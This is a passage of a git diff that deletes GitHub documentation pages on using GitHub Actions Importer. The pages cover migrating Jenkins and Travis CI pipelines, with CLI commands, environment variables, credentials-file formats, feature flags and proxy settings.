-## Perform a production migration of a Jenkins pipeline
-
-You can use the `migrate` command to convert a Jenkins pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow.
-
-### Running the migrate command
-
-To migrate a Jenkins pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.github %} repository, and `my-jenkins-project` with the URL for your Jenkins job.
-
-```shell
-gh actions-importer migrate jenkins --target-url https://github.com/:owner/:repo --output-dir tmp/migrate --source-url my-jenkins-project
-```
-
-The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```shell
-$ gh actions-importer migrate jenkins --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --source-url http://localhost:8080/job/monas_dev_work/job/monas_freestyle
-[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log'
-[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1'
-```
-
-{% data reusables.actions.gai-inspect-pull-request %}
-
-## Reference
-
-This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Jenkins.
-
-### Using environment variables
-
-{% data reusables.actions.gai-config-environment-variables %}
-
-{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Jenkins instance:
-
-* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires `repo` and `workflow` scopes).
-* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`).
-* `JENKINS_ACCESS_TOKEN`: The Jenkins API token used to view Jenkins resources.
-
- > [!NOTE]
- > This token requires access to all jobs that you want to migrate or audit. In cases where a folder or job does not inherit access control lists from their parent, you must grant explicit permissions or full admin privileges.
-
-* `JENKINS_USERNAME`: The username of the user account that created the Jenkins API token.
-* `JENKINS_INSTANCE_URL`: The URL of the Jenkins instance.
-* `JENKINSFILE_ACCESS_TOKEN` (Optional) The API token used to retrieve the contents of a `Jenkinsfile` stored in the build repository. This requires the `repo` scope. If this is not provided, the `GITHUB_ACCESS_TOKEN` will be used instead.
-
-These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run.
-
-### Using optional arguments
-
-{% data reusables.actions.gai-optional-arguments-intro %}
-
-#### `--source-file-path`
-
-You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migration` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead. You can use this option for Jenkinsfile and multibranch pipelines.
-
-If you would like to supply multiple source files when running the `forecast` subcommand, you can use pattern matching in the file path value. For example, `gh forecast --source-file-path ./tmp/previous_forecast/jobs/*.json` supplies {% data variables.product.prodname_actions_importer %} with any source files that match the `./tmp/previous_forecast/jobs/*.json` file path.
-
-##### Jenkinsfile pipeline example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified Jenkinsfile as the source file to perform a dry run.
-
-```shell
-gh actions-importer dry-run jenkins --output-dir path/to/output/ --source-file-path path/to/Jenkinsfile --source-url :url_to_jenkins_job
-```
-
-#### `--config-file-path`
-
-You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead.
-
-When you use the `--config-file-path` option with the `dry-run` or `migrate` subcommands, {% data variables.product.prodname_actions_importer %} matches the repository slug to the job represented by the `--source-url` option to select the pipeline. It uses the `config-file-path` to pull the specified source file.
-
-##### Audit example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit.
-
-```shell
-gh actions-importer audit jenkins --output-dir path/to/output/ --config-file-path path/to/jenkins/config.yml
-```
-
-To audit a Jenkins instance using a config file, the config file must be in the following format, and each `repository_slug` value must be unique:
-
-```yaml
-source_files:
- - repository_slug: pipeline-name
- path: path/to/Jenkinsfile
- - repository_slug: multi-branch-pipeline-name
- branches:
- - branch: main
- path: path/to/Jenkinsfile
- - branch: node
- path: path/to/Jenkinsfile
-```
-
-### Supported syntax for Jenkins pipelines
-
-The following tables show the type of properties {% data variables.product.prodname_actions_importer %} is currently able to convert. For more details about how Jenkins pipeline syntax aligns with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions).
-
-For information about supported Jenkins plugins, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/jenkins/index.md).
-
-#### Supported syntax for Freestyle pipelines
-
-| Jenkins | GitHub Actions | Status |
-| :------------------------ | :--------------------------------- | :------------------ |
-| docker template | `jobs..container` | Supported |
-| build | `jobs` | Partially supported |
-| build environment | `env` | Partially supported |
-| build triggers | `on` | Partially supported |
-| general | `runners` | Partially supported |
-
-#### Supported syntax for Jenkinsfile pipelines
-
-| Jenkins | GitHub Actions | Status |
-| :---------- | :--------------------------------- | :------------------ |
-| docker | `jobs..container` | Supported |
-| stage | `jobs.` | Supported |
-| agent | `runners` | Partially supported |
-| environment | `env` | Partially supported |
-| stages | `jobs` | Partially supported |
-| steps | `jobs..steps` | Partially supported |
-| triggers | `on` | Partially supported |
-| when | `jobs..if` | Partially supported |
-| inputs | `inputs` | Unsupported |
-| matrix | `jobs..strategy.matrix` | Unsupported |
-| options | `jobs..strategy` | Unsupported |
-| parameters | `inputs` | Unsupported |
-
-### Environment variables syntax
-
-{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Jenkins environment variables to the closest equivalent in {% data variables.product.prodname_actions %}.
-
-| Jenkins | GitHub Actions |
-| :---------------- | :------------------------------------------------------------------------------------ |
-| `${BUILD_ID}` | `{% raw %}${{ github.run_id }}{% endraw %}` |
-| `${BUILD_NUMBER}` | `{% raw %}${{ github.run_id }}{% endraw %}` |
-| `${BUILD_TAG}` | `{% raw %}${{ github.workflow }}-${{ github.run_id }}{% endraw %}` |
-| `${BUILD_URL}` | `{% raw %}${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}{% endraw %}` |
-| `${JENKINS_URL}` | `{% raw %}${{ github.server_url }}{% endraw %}` |
-| `${JOB_NAME}` | `{% raw %}${{ github.workflow }}{% endraw %}` |
-| `${WORKSPACE}` | `{% raw %}${{ github.workspace }}{% endraw %}` |
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-travis-ci-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-travis-ci-with-github-actions-importer.md
deleted file mode 100644
index 3dc16b64bebb..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-travis-ci-with-github-actions-importer.md
+++ /dev/null
@@ -1,364 +0,0 @@
----
-title: Migrating from Travis CI with GitHub Actions Importer
-intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Travis CI pipelines to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Migration
- - CI
- - CD
-shortTitle: Travis CI migration
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/migrating-from-travis-ci-with-github-actions-importer
----
-
-[Legal notice](#legal-notice)
-
-## About migrating from Travis CI with GitHub Actions Importer
-
-The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Travis CI pipelines to {% data variables.product.prodname_actions %}.
-
-### Prerequisites
-
-* A Travis CI account or organization with pipelines and jobs that you want to convert to {% data variables.product.prodname_actions %} workflows.
-* Access to create a Travis CI API access token for your account or organization.
-{% data reusables.actions.actions-importer-prerequisites %}
-
-### Limitations
-
-There are some limitations when migrating from Travis CI pipelines to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}.
-
-#### Manual tasks
-
-Certain Travis CI constructs must be migrated manually. These include:
-
-* Secrets
-* Unknown job properties
-
-For more information on manual migrations, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions).
-
-#### Travis CI project languages
-
-{% data variables.product.prodname_actions_importer %} transforms Travis CI project languages by adding a set of preconfigured build tools and a default build script to the transformed workflow. If no language is explicitly declared, {% data variables.product.prodname_actions_importer %} assumes a project language is Ruby.
-
-For a list of the project languages supported by {% data variables.product.prodname_actions_importer %}, see [Supported project languages](#supported-project-languages).
-
-## Installing the {% data variables.product.prodname_actions_importer %} CLI extension
-
-{% data reusables.actions.installing-actions-importer %}
-
-## Configuring credentials
-
-The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Travis CI and {% data variables.product.prodname_dotcom %}.
-
-1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic).
-
- Your token must have the `workflow` scope.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. Create a Travis CI API access token. For more information, see [Get your Travis CI API token](https://docs.travis-ci.com/user/migrate/travis-migrate-to-apps-gem-guide/#4-get-your-travis-ci-api-token) in the Travis CI documentation.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command:
-
- ```shell
- gh actions-importer configure
- ```
-
- The `configure` command will prompt you for the following information:
-
- * For "Which CI providers are you configuring?", use the arrow keys to select `Travis CI`, press Space to select it, then press Enter.
- * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press Enter.
- * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press Enter.{% else %}press Enter to accept the default value (`https://github.com`).{% endif %}
- * For "{% data variables.product.pat_generic_caps %} for Travis CI", enter the value for the Travis CI API access token that you created earlier, and press Enter.
- * For "Base url of the Travis CI instance", enter the URL of your Travis CI instance, and press Enter.
- * For "Travis CI organization name", enter the name of your Travis CI organization, and press Enter.
-
- An example of the output of the `configure` command is shown below.
-
- ```shell
- $ gh actions-importer configure
- ✔ Which CI providers are you configuring?: Travis CI
- Enter the following values (leave empty to omit):
- ✔ {% data variables.product.pat_generic_caps %} for GitHub: ***************
- ✔ Base url of the GitHub instance: https://github.com
- ✔ {% data variables.product.pat_generic_caps %} for Travis CI: ***************
- ✔ Base url of the Travis CI instance: https://travis-ci.com
- ✔ Travis CI organization name: actions-importer-labs
- Environment variables successfully updated.
- ```
-
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version:
-
- ```shell
- gh actions-importer update
- ```
-
- The output of the command should be similar to below:
-
- ```shell
- Updating ghcr.io/actions-importer/cli:latest...
- ghcr.io/actions-importer/cli:latest up-to-date
- ```
-
-## Perform an audit of Travis CI
-
-You can use the `audit` command to get a high-level view of all pipelines in a Travis CI server.
-
-The `audit` command performs the following steps:
-
-1. Fetches all of the projects defined in a Travis CI server.
-1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow.
-1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}.
-
-### Running the audit command
-
-To perform an audit of a Travis CI server, run the following command in your terminal:
-
-```shell
-gh actions-importer audit travis-ci --output-dir tmp/audit
-```
-
-### Inspecting the audit results
-
-{% data reusables.actions.gai-inspect-audit %}
-
-## Forecast potential build runner usage
-
-You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your Travis CI server.
-
-### Running the forecast command
-
-To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report.
-
-```shell
-gh actions-importer forecast travis-ci --output-dir tmp/forecast
-```
-
-### Inspecting the forecast report
-
-The `forecast_report.md` file in the specified output directory contains the results of the forecast.
-
-Listed below are some key terms that can appear in the forecast report:
-
-* The **job count** is the total number of completed jobs.
-* The **pipeline count** is the number of unique pipelines used.
-* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners.
- * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs.
-* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it.
-* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure.
-
-Additionally, these metrics are defined for each queue of runners in Travis CI. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners.
-
-## Perform a dry-run migration of a Travis CI pipeline
-
-You can use the `dry-run` command to convert a Travis CI pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline.
-
-To perform a dry run of migrating your Travis CI pipelines to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `my-travis-ci-repository` with the name of your Travis CI repository.
-
-```shell
-gh actions-importer dry-run travis-ci --travis-ci-repository my-travis-ci-repository --output-dir tmp/dry-run
-```
-
-You can view the logs of the dry run and the converted workflow files in the specified output directory.
-
-{% data reusables.actions.gai-custom-transformers-rec %}
-
-## Perform a production migration of a Travis CI pipeline
-
-You can use the `migrate` command to convert a Travis CI pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow.
-
-### Running the migrate command
-
-To migrate a Travis CI pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `my-travis-ci-repository` with the name of your Travis CI repository.
-
-```shell
-gh actions-importer migrate travis-ci --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --travis-ci-repository my-travis-ci-repository
-```
-
-The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```shell
-$ gh actions-importer migrate travis-ci --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --travis-ci-repository my-travis-ci-repository
-[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log'
-[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1'
-```
-
-{% data reusables.actions.gai-inspect-pull-request %}
-
-## Reference
-
-This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Travis CI.
-
-### Using environment variables
-
-{% data reusables.actions.gai-config-environment-variables %}
-
-{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Travis CI instance:
-
-* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires the `workflow` scope).
-* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`).
-* `TRAVIS_CI_ACCESS_TOKEN`: The Travis CI API access token used to view Travis CI resources.
-* `TRAVIS_CI_ORGANIZATION`: The organization name of your Travis CI instance.
-* `TRAVIS_CI_INSTANCE_URL`: The URL of the Travis CI instance.
-* `TRAVIS_CI_SOURCE_GITHUB_ACCESS_TOKEN`: (Optional) The {% data variables.product.pat_generic %} used to authenticate with your source GitHub instance. If not provided, `GITHUB_ACCESS_TOKEN` will be used instead.
-* `TRAVIS_CI_SOURCE_GITHUB_INSTANCE_URL`: (Optional) The URL to the source GitHub instance, such as https://github.com. If not provided, `GITHUB_INSTANCE_URL` will be used instead.
-
-These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run.
-
-### Using optional arguments
-
-{% data reusables.actions.gai-optional-arguments-intro %}
-
-#### `--source-file-path`
-
-You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead.
-
-For example:
-
-```shell
-gh actions-importer dry-run travis-ci --output-dir ./path/to/output/ --travis-ci-repository my-travis-ci-repository --source-file-path ./path/to/.travis.yml
-```
-
-#### `--allow-inactive-repositories`
-
-You can use this argument to specify whether {% data variables.product.prodname_actions_importer %} should include inactive repositories in an audit. If this option is not set, inactive repositories are not included in audits.
-
-```shell
-gh actions-importer dry-run travis-ci --output-dir ./path/to/output/ --travis-ci-repository my-travis-ci-repository --allow-inactive-repositories
-```
-
-#### `--config-file-path`
-
-You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead.
-
-##### Audit example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit.
-
-```shell
-gh actions-importer audit travis-ci --output-dir ./path/to/output/ --config-file-path ./path/to/travis-ci/config.yml
-```
-
-To audit a Travis CI instance using a configuration file, the file must be in the following format and each `repository_slug` value must be unique:
-
-```yaml
-source_files:
- - repository_slug: travis-org-name/travis-repo-name
- path: path/to/.travis.yml
- - repository_slug: travis-org-name/some-other-travis-repo-name
- path: path/to/.travis.yml
-```
-
-##### Dry run example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run.
-
-The pipeline is selected by matching the `repository_slug` in the configuration file to the value of the `--travis-ci-repository` option. The `path` is then used to pull the specified source file.
-
-```shell
-gh actions-importer dry-run travis-ci --travis-ci-repository travis-org-name/travis-repo-name --output-dir ./output/ --config-file-path ./path/to/travis-ci/config.yml
-```
-
-### Supported project languages
-
-{% data variables.product.prodname_actions_importer %} supports migrating Travis CI projects in the following languages.
-
-
-android
-bash
-c
-clojure
-c++
-crystal
-c#
-d
-dart
-elixir
-erlang
-generic
-go
-groovy
-haskell
-haxe
-java
-julia
-matlab
-minimal
-nix
-node_js
-objective-c
-perl
-perl6
-php
-python
-r
-ruby
-rust
-scala
-sh
-shell
-smalltalk
-swift
-
-
-### Supported syntax for Travis CI pipelines
-
-The following table shows the type of properties {% data variables.product.prodname_actions_importer %} is currently able to convert. For more details about how Travis CI pipeline syntax aligns with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions).
-
-| Travis CI | GitHub Actions | Status |
-| :------------------ | :--------------------------------- | ------------------: |
-| branches | - `on..`
| Supported |
-| build_pull_requests | - `on.`
| Supported |
-| env | - `env`
- `jobs..env`
- `jobs..steps.env`
| Supported |
-| if | | Supported |
-| job | | Supported |
-| matrix | - `jobs..strategy`
- `jobs..strategy.fail-fast`
- `jobs..strategy.matrix`
| Supported |
-| os & dist | | Supported |
-| scripts | | Supported |
-| stages | | Supported |
-| env | - `on`
| Partially supported |
-| branches | - `on..`
- `on..paths`
| Unsupported |
-| build_pull_requests | - `on..`
- `on..`
- `on..paths`
| Unsupported |
-| cron triggers | - `on.schedule`
- `on.workflow_run`
| Unsupported |
-| env | - `jobs..timeout-minutes`
- `on..types`
| Unsupported |
-| job | - `jobs..container`
| Unsupported |
-| os & dist | | Unsupported |
-
-For information about supported Travis CI constructs, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/travis_ci/index.md).
-
-### Environment variables syntax
-
-{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Travis CI environment variables to the closest equivalent in {% data variables.product.prodname_actions %}.
-
-| Travis CI | GitHub Actions |
-| :---------------------------- | :------------------------------------------------------------------------------------ |
-| {% raw %}`$CONTINUOUS_INTEGRATION`{% endraw %} | {% raw %}`$CI`{% endraw %} |
-| {% raw %}`$USER`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} |
-| {% raw %}`$HOME`{% endraw %} | {% raw %}`${{ github.workspace }}` {% endraw %} |
-| {% raw %}`$TRAVIS_BRANCH`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} |
-| {% raw %}`$TRAVIS_BUILD_DIR`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| {% raw %}`$TRAVIS_BUILD_ID`{% endraw %} | {% raw %}`${{ github.run_number }}`{% endraw %} |
-| {% raw %}`$TRAVIS_BUILD_NUMBER`{% endraw %} | {% raw %}`${{ github.run_id }}`{% endraw %} |
-| {% raw %}`$TRAVIS_COMMIT`{% endraw %} | {% raw %}`${{ github.sha }}`{% endraw %} |
-| {% raw %}`$TRAVIS_EVENT_TYPE`{% endraw %} | {% raw %}`${{ github.event_name }}`{% endraw %} |
-| {% raw %}`$TRAVIS_PULL_REQUEST_BRANCH`{% endraw %} | {% raw %}`${{ github.base_ref }}`{% endraw %} |
-| {% raw %}`$TRAVIS_PULL_REQUEST`{% endraw %} | {% raw %}`${{ github.event.number }}`{% endraw %} |
-| {% raw %}`$TRAVIS_PULL_REQUEST_SHA`{% endraw %} | {% raw %}`${{ github.head.sha }}`{% endraw %} |
-| {% raw %}`$TRAVIS_PULL_REQUEST_SLUG`{% endraw %} | {% raw %}`${{ github.repository }}`{% endraw %} |
-| {% raw %}`$TRAVIS_TAG`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} |
-| {% raw %}`$TRAVIS_OS_NAME`{% endraw %} | {% raw %}`${{ runner.os }}`{% endraw %} |
-| {% raw %}`$TRAVIS_JOB_ID`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} |
-| {% raw %}`$TRAVIS_REPO_SLUG`{% endraw %} | {% raw %}`${{ github.repository_owner/github.repository }}`{% endraw %} |
-| {% raw %}`$TRAVIS_BUILD_WEB_URL`{% endraw %} | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %} |
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/supplemental-arguments-and-settings.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/supplemental-arguments-and-settings.md
deleted file mode 100644
index 582be574c7d5..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/supplemental-arguments-and-settings.md
+++ /dev/null
@@ -1,206 +0,0 @@
----
-title: Supplemental arguments and settings
-intro: '{% data variables.product.prodname_actions_importer %} has several supplemental arguments and settings to tailor the migration process to your needs.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: reference
-topics:
- - Migration
- - CI
- - CD
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/supplemental-arguments-and-settings
----
-
-[Legal notice](#legal-notice)
-
-This article provides general information for configuring {% data variables.product.prodname_actions_importer %}'s supplemental arguments and settings, such as optional parameters, path arguments, and network settings.
-
-## Optional parameters
-
-{% data variables.product.prodname_actions_importer %} has several optional parameters that you can use to customize the migration process.
-
-### Limiting allowed actions
-
-The following options can be used to limit which actions are allowed in converted workflows. When used in combination, these options expand the list of allowed actions. If none of these options are supplied, then all actions are allowed.
-
-* `--allowed-actions` specifies a list of actions to allow in converted workflows. Wildcards are supported. Any other actions other than those provided will be disallowed.
-
- For example:
-
- ```shell
- --allowed-actions {% data reusables.actions.action-checkout %} actions/upload-artifact@* my-org/*
- ```
-
- You can provide an empty list to disallow all actions. For example, `--allowed-actions=`.
-
-* `--allow-verified-actions` specifies that all actions from verified creators are allowed.
-
-* `--allow-github-created-actions` specifies that actions published from the `github` or `actions` organizations are allowed.
-
- For example, such actions include `github/super-linter` and `actions/checkout`.
-
- This option is equivalent to `--allowed-actions actions/* github/*`.
-
-### Using a credentials file for authentication
-
-The `--credentials-file` parameter specifies the path to a file containing credentials for different servers that {% data variables.product.prodname_actions_importer %} can authenticate to. This is useful when build scripts (such as `.travis.yml` or `jenkinsfile`) are stored in multiple {% data variables.product.prodname_ghe_server %} instances.
-
-A credentials file must be a YAML file containing a list of server and access token combinations. {% data variables.product.prodname_actions_importer %} uses the credentials for the URL that most closely matches the network request being made.
-
-For example:
-
-```yaml
-- url: https://github.com
- access_token: ghp_mygeneraltoken
-- url: https://github.com/specific_org/
- access_token: ghp_myorgspecifictoken
-- url: https://jenkins.org
- access_token: abc123
- username: marty_mcfly
-```
-
-For the above credentials file, {% data variables.product.prodname_actions_importer %} uses the access token `ghp_mygeneraltoken` to authenticate all network requests to `https://github.com`, _unless_ the network request is for a repository in the `specific_org` organization. In that case, the `ghp_myorgspecifictoken` token is used to authenticate instead.
-
-#### Alternative source code providers
-
-{% data variables.product.prodname_actions_importer %} can automatically fetch source code from non-{% data variables.product.prodname_dotcom %} repositories. A credentials file can specify the `provider`, the provider URL, and the credentials needed to retrieve the source code.
-
-For example:
-
-```yaml
-- url: https://gitlab.com
- access_token: super_secret_token
- provider: gitlab
-```
-
-For the above example, {% data variables.product.prodname_actions_importer %} uses the token `super_secret_token` to retrieve any source code that is hosted on `https://gitlab.com`.
-
-Supported values for `provider` are:
-
-* `github` (default)
-* `gitlab`
-* `bitbucket_server`
-* `azure_devops`
-
-### Controlling optional features
-
-You can use the `--features` option to limit the features used in workflows that {% data variables.product.prodname_actions_importer %} creates. This is useful for excluding newer {% data variables.product.prodname_actions %} syntax from workflows when migrating to an older {% data variables.product.prodname_ghe_server %} instance. When using the `--features` option, you must specify the version of {% data variables.product.prodname_ghe_server %} that you are migrating to.
-
-For example:
-
-```shell
-gh actions-importer dry-run ... --features ghes-3.3
-```
-
-The supported values for `--features` are:
-
-* `all` (default value)
-* `ghes-latest`
-* `ghes-`, where `` is the version of {% data variables.product.prodname_ghe_server %}, `3.0` or later. For example, `ghes-3.3`.
-
-You can view the list of available feature flags by {% data variables.product.prodname_actions_importer %} by running the `list-features` command. For example:
-
-```shell copy
-gh actions-importer list-features
-```
-
-You should see an output similar to the following.
-
-
-
-```shell
-Available feature flags:
-
-actions/cache (disabled):
- Control usage of actions/cache inside of workflows. Outputs a comment if not enabled.
- GitHub Enterprise Server >= ghes-3.5 required.
-
-composite-actions (enabled):
- Minimizes resulting workflow complexity through the use of composite actions. See https://docs.github.com/en/actions/creating-actions/creating-a-composite-action for more information.
- GitHub Enterprise Server >= ghes-3.4 required.
-
-reusable-workflows (disabled):
- Avoid duplication by re-using existing workflows. See https://docs.github.com/en/actions/using-workflows/reusing-workflows for more information.
- GitHub Enterprise Server >= ghes-3.4 required.
-
-workflow-concurrency-option-allowed (enabled):
- Allows the use of the `concurrency` option in workflows. See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#concurrency for more information.
- GitHub Enterprise Server >= ghes-3.2 required.
-
-Enable features by passing --enable-features feature-1 feature-2
-Disable features by passing --disable-features feature-1 feature-2
-```
-
-
-
-To toggle feature flags, you can use either of the following methods:
-* Use the `--enable-features` and `--disable-features` options when running a `gh actions-importer` command.
-* Use an environment variable for each feature flag.
-
-You can use the `--enable-features` and `--disable-features` options to select specific features to enable or disable for the duration of the command.
-For example, the following command disables use of `actions/cache` and `composite-actions`:
-
-```shell
-gh actions-importer dry-run ... --disable-features=composite-actions actions/cache
-```
-
-You can use the `configure --features` command to interactively configure feature flags and automatically write them to your environment:
-
-```shell
-$ gh actions-importer configure --features
-
-✔ Which features would you like to configure?: actions/cache, reusable-workflows
-✔ actions/cache (disabled): Enable
-? reusable-workflows (disabled):
-› Enable
- Disable
-```
-
-### Disabling network response caching
-
-By default, {% data variables.product.prodname_actions_importer %} caches responses from network requests to reduce network load and reduce run time. You can use the `--no-http-cache` option to disable the network cache. For example:
-
-```shell
-gh actions-importer forecast ... --no-http-cache
-```
-
-## Path arguments
-
-When running {% data variables.product.prodname_actions_importer %}, path arguments are relative to the container's disk, so absolute paths relative to the container's host machine are not supported. When {% data variables.product.prodname_actions_importer %} is run, the container's `/data` directory is mounted to the directory where {% data variables.product.prodname_actions_importer %} is run.
-
-For example, the following command, when used in the `/Users/mona` directory, outputs the {% data variables.product.prodname_actions_importer %} audit summary to the `/Users/mona/out` directory:
-
-```shell
-gh actions-importer audit --output-dir /data/out
-```
-
-## Using a proxy
-
-To access servers that are configured with a HTTP proxy, you must set the following environment variables with the proxy's URL:
-
-* `OCTOKIT_PROXY`: for any {% data variables.product.prodname_dotcom %} server.
-* `HTTP_PROXY` (or `HTTPS_PROXY`): for any other servers.
-
-For example:
-
-```shell
-export OCTOKIT_PROXY=https://proxy.example.com:8443
-export HTTPS_PROXY=$OCTOKIT_PROXY
-```
-
-If the proxy requires authentication, a username and password must be included in the proxy URL. For example, `https://username:password@proxy.url:port`.
-
-## Disabling SSL certificate verification
-
-By default, {% data variables.product.prodname_actions_importer %} verifies SSL certificates when making network requests. You can disable SSL certificate verification with the `--no-ssl-verify` option. For example:
-
-```shell
-gh actions-importer audit --output-dir ./output --no-ssl-verify
-```
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/monitoring-and-troubleshooting-workflows/index.md b/content/actions/monitoring-and-troubleshooting-workflows/index.md
deleted file mode 100644
index 5406af09b895..000000000000
--- a/content/actions/monitoring-and-troubleshooting-workflows/index.md
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Monitoring and troubleshooting workflows
-shortTitle: Monitor & troubleshoot
